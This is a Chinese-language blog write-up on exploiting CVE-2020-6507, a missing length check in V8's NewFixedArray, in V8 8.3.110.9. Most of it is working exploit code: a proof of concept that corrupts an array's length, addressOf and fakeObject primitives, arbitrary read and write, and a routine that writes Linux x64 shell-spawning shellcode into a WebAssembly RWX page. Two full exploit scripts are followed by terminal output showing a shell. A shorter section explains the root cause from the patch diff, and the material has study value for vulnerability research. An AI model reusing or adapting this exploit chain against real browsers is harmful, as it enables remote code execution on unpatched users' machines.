V8利用(3)-CVE-2020-6507

Static Lv2

环境搭建

首先从chrome的官方更新公告 中搜索CVE-2020-6507,然后可以找到bug详细说明1086890 - Security: Missing array size check in NewFixedArray - chromium

漏洞影响版本:受影响的Chrome最高版本为:83.0.4103.97
受影响的V8最高版本为:8.3.110.9

编译之前的版本即可

1
./build.sh 8.3.110.9

关于如何找到chrome对应版本的V8版本:https://chromiumdash.appspot.com/branches,直接在此处查找即可。chrome版本一般会直接在CVE或issue中标出。

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
array = Array(0x40000).fill(1.1);
args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);

length_as_double =
new Float64Array(new BigUint64Array([0x2424242400000000n]).buffer)[0];

function trigger(array) {
var x = array.length;
x -= 67108861;
x = Math.max(x, 0);
x *= 6;
x -= 5;
x = Math.max(x, 0);

let corrupting_array = [0.1, 0.1];
let corrupted_array = [0.1];

corrupting_array[x] = length_as_double;
return [corrupting_array, corrupted_array];
}

for (let i = 0; i < 30000; ++i) {
trigger(giant_array);
}

corrupted_array = trigger(giant_array)[1];
alert('corrupted array length: ' + corrupted_array.length.toString(16));
corrupted_array[0x123456];

漏洞测试

alert改成console.log,发现输出为

1
corrupted array length: 12121212

那么该POC的功能就是修改corrupted_arraylength成员。在修改后,即可越界读写。

但是由于修改length成员时同时也将elements成员置0了,此时再读取corrupted_array内的数据便是从内存段开始读。经过测试可以发现在同一内存布局中,对象的低32bit地址不变。因此可以修改测试代码为模板格式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);

var double_array = [2.1];
var obj = {"a":1};
var obj_array = [obj];

function float_to_int(f)
{
f64[0] = f;
return bigUint64[0];
}

function int_to_float(i)
{
bigUint64[0] = i;
return f64[0];
}

array = Array(0x40000).fill(1.1);
args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);

length_as_double =
new Float64Array(new BigUint64Array([0x2424242408901f95n]).buffer)[0];

function trigger(array) {
var x = array.length;
x -= 67108861;
x = Math.max(x, 0);
x *= 6;
x -= 5;
x = Math.max(x, 0);

let corrupting_array = [0.1, 0.1];
let corrupted_array = [0.1];

corrupting_array[x] = length_as_double;
return [corrupting_array, corrupted_array];
}

for (let i = 0; i < 60000; ++i) {
trigger(giant_array);
}

corrupted_array = trigger(giant_array)[1];
console.log('corrupted array length: ' + corrupted_array.length.toString(16));
%DebugPrint(double_array);
var x = corrupted_array[0];
console.log("0x"+float_to_int(x).toString(16));
%SystemBreak();

运行此代码,即可泄露出map地址。然后来进一步利用。

关于漏洞成因在文末介绍,接下来看看该如何编写exp以利用此漏洞。

漏洞利用

如果修改代码,那么内存布局就会发生变化,因此在测试过程中,需要不断查看double_array对象地址,在修改corrupted_array的length的同时修改elements指针为double_array地址,即可做到map读写。同时由于obj_arraydouble_array对象后,也可以修改其map

addressOf

1
2
3
4
5
6
7
8
function addressOf(target_var)
{
obj_array[0] = target_var;
corrupted_array[4] = int_to_float(double_array_map);
let target_var_address = float_to_int(obj_array[0]);
corrupted_array[4] = int_to_float(obj_array_map);
return target_var_address;
}

fakeObject

1
2
3
4
5
6
7
8
function fakeObject(target_var)
{
double_array[0] = int_to_float(target_var);
corrupted_array[0] = int_to_float(obj_array_map);
let fake_obj = double_array[0];
corrupted_array[0] = int_to_float(double_array_map);
return fake_obj;
}

AAR

1
2
3
4
5
6
7
8
var fake_array = [int_to_float(double_array_map), int_to_float(0x4141414141414141n)]
function AAR(addr)
{
var fake_obj_addr = addressOf(fake_array)+0x34n;
fake_array[1] = int_to_float(addr-8n+1n);
let fake_obj = fakeObject(fake_obj_addr+8n);
return float_to_int(fake_obj[0]);
}

AAW

1
2
3
4
5
6
7
function AAW(addr, value)
{
var fake_obj_addr = addressOf(fake_array)+0x34n;
fake_array[1] = int_to_float(addr-8n+1n);
var fake_obj = fakeObject(fake_obj_addr+8n);
fake_obj[0] = int_to_float(value);
}

write shellcode

1
2
3
4
5
6
7
8
9
function shellcode_write(addr,shellcode)
{
var data_buf = new ArrayBuffer(shellcode.length*8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr=addressOf(data_buf)+0x14n;
AAW(buf_backing_store_addr,addr);
for (let i=0;i<shellcode.length;++i)
data_view.setFloat64(i*8,int_to_float(shellcode[i]),true);
}

最终exp

该exp仅支持在本机环境中运行,因为不同的环境会导致地址不同,以及偏移不同。且运行起来非常不稳定。

(事实上编写该exp直接按照模板就行,不过由于地址会不断变化,每次修改代码都需要重新修改corrupted_array的被覆盖elements成员值,甚至fake_arrayelements成员偏移也会变化)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
//test.js

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);

var double_array = [2.1];
var obj = {"a":1};
var obj_array = [obj];

function float_to_int(f)
{
f64[0] = f;
return bigUint64[0];
}

function int_to_float(i)
{
bigUint64[0] = i;
return f64[0];
}

array = Array(0x40000).fill(1.1);
args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);

length_as_double =
new Float64Array(new BigUint64Array([0x2424242408902641n]).buffer)[0];

function trigger(array) {
var x = array.length;
x -= 67108861;
x = Math.max(x, 0);
x *= 6;
x -= 5;
x = Math.max(x, 0);

let corrupting_array = [0.1, 0.1];
let corrupted_array = [0.1];

corrupting_array[x] = length_as_double;
return [corrupting_array, corrupted_array];
}

for (let i = 0; i < 80000; ++i) {
trigger(giant_array);
}

corrupted_array = trigger(giant_array)[1];
console.log('corrupted array length: ' + corrupted_array.length.toString(16));
%DebugPrint(double_array);
var double_array_map = float_to_int(corrupted_array[0]);
var obj_array_map = float_to_int(corrupted_array[4]);

function addressOf(target_var)
{
obj_array[0] = target_var;
corrupted_array[4] = int_to_float(double_array_map);
let target_var_address = float_to_int(obj_array[0])-1n;
corrupted_array[4] = int_to_float(obj_array_map);
return target_var_address;
}

function fakeObject(target_var)
{
double_array[0] = int_to_float(target_var+1n);
corrupted_array[0] = int_to_float(obj_array_map);
let fake_obj = double_array[0];
corrupted_array[0] = int_to_float(double_array_map);
return fake_obj;
}

var fake_array = [int_to_float(double_array_map), int_to_float(0x4141414141414141n)]
function AAR(addr)
{
var fake_obj_addr = addressOf(fake_array)+0x34n;
fake_array[1] = int_to_float(addr-8n+1n);
let fake_obj = fakeObject(fake_obj_addr+8n);
return float_to_int(fake_obj[0]);
}

function AAW(addr, value)
{
var fake_obj_addr = addressOf(fake_array)+0x34n;
fake_array[1] = int_to_float(addr-8n+1n);
var fake_obj = fakeObject(fake_obj_addr+8n);
fake_obj[0] = int_to_float(value);
}

function shellcode_write(addr,shellcode)
{
var data_buf = new ArrayBuffer(shellcode.length*8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr=addressOf(data_buf)+0x14n;
AAW(buf_backing_store_addr,addr);
for (let i=0;i<shellcode.length;++i)
data_view.setFloat64(i*8,int_to_float(shellcode[i]),true);
}

console.log(double_array_map.toString(16));
%DebugPrint(fake_array);

var wasmInstanceAddr = addressOf(wasmInstance);
var rwx_addr = AAR(wasmInstanceAddr+0x68n);

//Linux x64
var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];
shellcode_write(rwx_addr, shellcode);
f();
%SystemBreak();

进行多次尝试后,成功执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
fuzz@ubuntu:~/v8/out/x64_8.3.110.9.release$ ./d8 --allow-natives-syntax ~/CVE/CVE-2020-6507/poc.js 
corrupted array length: 12121212
DebugPrint: 0xe4108902649: [JSArray] in OldSpace
- map: 0x0e4108241891 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x0e41082091e1 <JSArray[0]>
- elements: 0x0e410890569d <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
- length: 1
- properties: 0x0e41080406e9 <FixedArray[0]> {
#length: 0x0e4108180165 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x0e410890569d <FixedDoubleArray[1]> {
0: 2.1
}
0xe4108241891: [Map]
- type: JS_ARRAY_TYPE
- instance size: 16
- inobject properties: 0
- elements kind: PACKED_DOUBLE_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x0e4108241869 <Map(HOLEY_SMI_ELEMENTS)>
- prototype_validity cell: 0x0e4108180451 <Cell value= 1>
- instance descriptors #1: 0x0e4108209869 <DescriptorArray[1]>
- transitions #1: 0x0e41082098b5 <TransitionArray[4]>Transition array #1:
0x0e4108042eb9 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x0e41082418b9 <Map(HOLEY_DOUBLE_ELEMENTS)>

- prototype: 0x0e41082091e1 <JSArray[0]>
- constructor: 0x0e41082090b5 <JSFunction Array (sfi = 0xe4108188e45)>
- dependent code: 0x0e41080401ed <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0

80406e908241891
DebugPrint: 0xe4108484595: [JSArray]
- map: 0x0e4108241891 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x0e41082091e1 <JSArray[0]>
- elements: 0x0e41084845c9 <FixedDoubleArray[2]> [PACKED_DOUBLE_ELEMENTS]
- length: 2
- properties: 0x0e41080406e9 <FixedArray[0]> {
#length: 0x0e4108180165 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x0e41084845c9 <FixedDoubleArray[2]> {
0: 4.7386e-270
1: 2.26163e+06
}
0xe4108241891: [Map]
- type: JS_ARRAY_TYPE
- instance size: 16
- inobject properties: 0
- elements kind: PACKED_DOUBLE_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x0e4108241869 <Map(HOLEY_SMI_ELEMENTS)>
- prototype_validity cell: 0x0e4108180451 <Cell value= 1>
- instance descriptors #1: 0x0e4108209869 <DescriptorArray[1]>
- transitions #1: 0x0e41082098b5 <TransitionArray[4]>Transition array #1:
0x0e4108042eb9 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x0e41082418b9 <Map(HOLEY_DOUBLE_ELEMENTS)>

- prototype: 0x0e41082091e1 <JSArray[0]>
- constructor: 0x0e41082090b5 <JSFunction Array (sfi = 0xe4108188e45)>
- dependent code: 0x0e41080401ed <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0

$

漏洞原理

完成了漏洞的利用,接下来深入了解一下漏洞是如何形成的。此漏洞的详细信息可以直接看https://issues.chromium.org/issues/40052419

接下来对POC进行解释

1
2
3
4
5
array = Array(0x40000).fill(1.1);
args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);

在上述代码中,首先创建长度为0x40000大小的array,然后乘以0xFF,再加入0x3FFFC大小,最后利用splice方法加入3个元素,这样算下来giant_array的长度为0x40000*0xff+0x3fffc+3=67108863,但是V8规定浮点数组的大小最大为67108862

来看diff文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
@@ -141,8 +141,15 @@
ConstantIterator(kDoubleHole)));
}

+namespace runtime {
+extern runtime FatalProcessOutOfMemoryInvalidArrayLength(NoContext): never;
+}
+
macro NewFixedArray<Iterator: type>(length: intptr, it: Iterator): FixedArray {
if (length == 0) return kEmptyFixedArray;
+ if (length > kFixedArrayMaxLength) deferred {
+ runtime::FatalProcessOutOfMemoryInvalidArrayLength(kNoContext);
+ }
return new
FixedArray{map: kFixedArrayMap, length: Convert<Smi>(length), objects: ...it};
}
@@ -150,6 +157,9 @@
macro NewFixedDoubleArray<Iterator: type>(
length: intptr, it: Iterator): FixedDoubleArray|EmptyFixedArray {
if (length == 0) return kEmptyFixedArray;
+ if (length > kFixedDoubleArrayMaxLength) deferred {
+ runtime::FatalProcessOutOfMemoryInvalidArrayLength(kNoContext);
+ }
return new FixedDoubleArray{
map: kFixedDoubleArrayMap,
length: Convert<Smi>(length),

发现对Array加入了最大长度检查,说明原来的版本未处理数组越界。

继续看POC中的trigger函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
length_as_double =
new Float64Array(new BigUint64Array([0x2424242400000000n]).buffer)[0];

function trigger(array) {
var x = array.length;
x -= 67108861;
x = Math.max(x, 0);
x *= 6;
x -= 5;
x = Math.max(x, 0);

let corrupting_array = [0.1, 0.1];
let corrupted_array = [0.1];

corrupting_array[x] = length_as_double;
return [corrupting_array, corrupted_array];
}

for (let i = 0; i < 30000; ++i) {
trigger(giant_array);
}

array的长度为67108863,经过x -= 67108861之后x = 2,但V8会认为array的最大长度为67108862,那么它认为x的最大值为1。再经过x = Math.max(x, 0)得到x = 2,而V8认为x最大值为1,最小值为0。并且经过后续x *= 6; x -= 5; x = Math.max(x, 0);,实际值x = 7,但V8认为x的值只能为0或1,显然在corrupting_array的边界内,然后再大量执行该函数,V8便会标记该函数,并进行优化,最终导致的结果就是去除array的边界检查,直接对对应位置进行赋值。即corrupting_array[7] = length_as_double,而corrupting_array[7]对应位置即为corrupted_arrayelementslength

在了解了漏洞原理之后,我们可以尝试优化exp来实现相对稳定的getshell

exp优化

POC优化

原来的poc对length修改之后会导致elements成员也被修改,从而需要不断写入目标低32bit值,优化的目的是使修改length时不再影响elements的值,这样就能继续利用了,优化后的POC如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
array = Array(0x40000).fill(1.1);
args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3, 3.3);

length_as_double =
new Float64Array(new BigUint64Array([0x24242424n]).buffer)[0];

function trigger(array) {
var x = array.length;
x -= 67108861;
x = Math.max(x, 0);
x *= 5;
x -= 4;
x = Math.max(x, 0);

let corrupting_array = [0.1, 0.1];
let a = [corrupting_array];
let corrupted_array = [0.1];

corrupting_array[x] = length_as_double;
return [corrupting_array, a, corrupted_array];
}

for (let i = 0; i < 50000; ++i) {
trigger(giant_array);
}

var corrupted_array = trigger(giant_array)[2];
console.log('corrupted array length: ' + corrupted_array.length.toString(16));
%SystemBreak();

我将splice加入的元素数量改到了4个,这样在trigger函数中,数组赋值位置会变为corrupting_array[11],而在trigger函数中,我加入了一个a变量,其elements结构中的value只占4字节,便会将corrupted_array的地址错位4字节,从而使得在修改length时不会再修改elements

执行结果仍为

1
2
3
fuzz@ubuntu:~/v8/out/x64_8.3.110.9.release$ ./d8 --allow-natives-syntax ~/CVE/CVE-2020-6507/exp2.js 
corrupted array length: 12121212
追踪与中断点陷阱 (核心已转储)

exp2

只需要调试一下,看下各个对象在内存中相对corrupted_array的偏移,稍加改动即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);

function float_to_int(f)
{
f64[0] = f;
return bigUint64[0];
}

function int_to_float(i)
{
bigUint64[0] = i;
return f64[0];
}

array = Array(0x40000).fill(1.1);
args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3, 3.3);

length_as_double =
new Float64Array(new BigUint64Array([0x24242424n]).buffer)[0];

function trigger(array) {
var x = array.length;
x -= 67108861;
x = Math.max(x, 0);
x *= 5;
x -= 4;
x = Math.max(x, 0);

let corrupting_array = [0.1, 0.1];
let a = [corrupting_array];
let corrupted_array = [0.1];

corrupting_array[x] = length_as_double;
return [corrupting_array, a, corrupted_array];
}

for (let i = 0; i < 80000; ++i) {
trigger(giant_array);
}

var corrupted_array = trigger(giant_array)[2];
console.log('corrupted array length: ' + corrupted_array.length.toString(16));

var double_array = [2.1];
var obj = {"a":1};
var obj_array = [obj];

var double_array_map = float_to_int(corrupted_array[20]);
var obj_array_map = float_to_int(corrupted_array[32]);

function addressOf(target_var)
{
obj_array[0] = target_var;
corrupted_array[32] = int_to_float(double_array_map);
let target_var_address = float_to_int(obj_array[0])-1n;
corrupted_array[32] = int_to_float(obj_array_map);
return target_var_address;
}

function fakeObject(target_var)
{
double_array[0] = int_to_float(target_var+1n);
corrupted_array[20] = int_to_float(obj_array_map);
let fake_obj = double_array[0];
corrupted_array[20] = int_to_float(double_array_map);
return fake_obj;
}

var fake_array = [int_to_float(double_array_map), int_to_float(0x4141414141414141n)]
function AAR(addr)
{
var fake_obj_addr = addressOf(fake_array)+0x4cn;
fake_array[1] = int_to_float(addr-8n+1n);
let fake_obj = fakeObject(fake_obj_addr+8n);
return float_to_int(fake_obj[0]);
}

function AAW(addr, value)
{
var fake_obj_addr = addressOf(fake_array)+0x4cn;
fake_array[1] = int_to_float(addr-8n+1n);
var fake_obj = fakeObject(fake_obj_addr+8n);
fake_obj[0] = int_to_float(value);
}

function shellcode_write(addr,shellcode)
{
var data_buf = new ArrayBuffer(shellcode.length*8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr=addressOf(data_buf)+0x14n;
AAW(buf_backing_store_addr,addr);
for (let i=0;i<shellcode.length;++i)
data_view.setFloat64(i*8,int_to_float(shellcode[i]),true);
}

var wasmInstanceAddr = addressOf(wasmInstance);
var rwx_addr = AAR(wasmInstanceAddr+0x68n);

//Linux x64
var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];
shellcode_write(rwx_addr, shellcode);
f();

%SystemBreak();

最终稳定getshell

1
2
3
4
fuzz@ubuntu:~/v8/out/x64_8.3.110.9.release$ ./d8 --allow-natives-syntax ~/CVE/CVE-2020-6507/exp2.js 
corrupted array length: 12121212
$ id
uid=1000(fuzz) gid=1000(fuzz) groups=1000(fuzz),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare)

总结

V8漏洞从原理上来看还是比较复杂的,如果要深究其代码,分析起来相对较难。但如果仅仅是根据POC写出exp的话(对于简单的打CTF来说),根据模板就可以较为容易的写出。同时在了解漏洞产生原理之后,应该尽可能优化POC,优化exp,毕竟按回车直接拿到shell是pwn人最舒服的时刻了。

  • Title: V8利用(3)-CVE-2020-6507
  • Author: Static
  • Created at : 2024-03-10 16:37:25
  • Updated at : 2024-03-10 16:36:56
  • Link: https://staticccccccc.github.io/2024/03/10/V8/V8利用(3)-CVE-2020-6507/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments